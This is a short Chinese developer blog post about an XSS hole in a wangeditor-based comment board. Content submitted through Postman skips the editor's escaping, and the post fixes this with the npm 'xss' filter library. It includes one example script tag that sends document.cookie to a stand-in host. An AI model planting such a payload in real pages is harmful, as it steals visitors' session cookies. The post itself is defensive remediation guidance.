bug-xss 攻击漏洞问题

XSS 攻击漏洞是什么

XSS(Cross-Site Scripting)攻击:通过在网站上植入恶意脚本来攻击用户

举例说明

在留言板发布评论,评论内容包含恶意脚本:

javascript 复制代码
<script>document.location = "http://xxx.com/getCookie?cookie=" + document.cookie;</script>

当用户看到评论时,就会触发响应,将用户cookie发送到攻击者手中

问题描述

前端使用wangeditor富文本编辑器,正常情况下编辑器都会把内容进行转码处理,转码之后就回避xss问题,这次的问题是通过一些手段提及内容(比如postman),这样提交的代码就没有经过编辑器进行转码,读取数据时就会触发恶意代码。

解决方法

  1. 方法一:后端拿到数据后,再进行一次转码,保障进入数据库的内容是转码后的;
  2. 方法二:读取后端数据后,对要展示的数据再进行一次转码,相当于保存和读取都进行转码。

转码工具

https://jsxss.com/zh/index.html

javascript 复制代码
// 安装
npm i xss
// 引用
import filterXSS from 'xss'
const newStr=filterXSS(htmlStr); // 进行转码
相关推荐
慧一居士5 分钟前
nuxtjs和nextjs区别对比
前端·vue.js
冰暮流星13 分钟前
javascript之字符串索引数组
开发语言·前端·javascript·算法
御坂10101号15 分钟前
Google Ads 转化凭空消失?问题藏在同意横幅的「时机」
前端·javascript·测试工具·网络安全·chrome devtools
星火开发设计24 分钟前
模板特化:为特定类型定制模板实现
java·开发语言·前端·c++·知识
未来龙皇小蓝30 分钟前
RBAC前端架构-07:自定义指令role、permission实现权限控制
前端·vue.js
悦悦子a啊36 分钟前
Web前端 练习1
前端·css·html5
Cache技术分享42 分钟前
324. Java Stream API - 实现 Collector 接口:自定义你的流式收集器
前端·后端
yma1643 分钟前
前端react模拟内存溢出——chrome devtool查找未释放内存
前端·chrome·react.js
colicode1 小时前
Objective-C语音验证码接口API示例代码:老版iOS应用接入语音验证教程
前端·c++·ios·前端框架·objective-c
兆子龙1 小时前
被忽视的 React 神器:cloneElement 让你的组件开发效率提升 10 倍
前端·javascript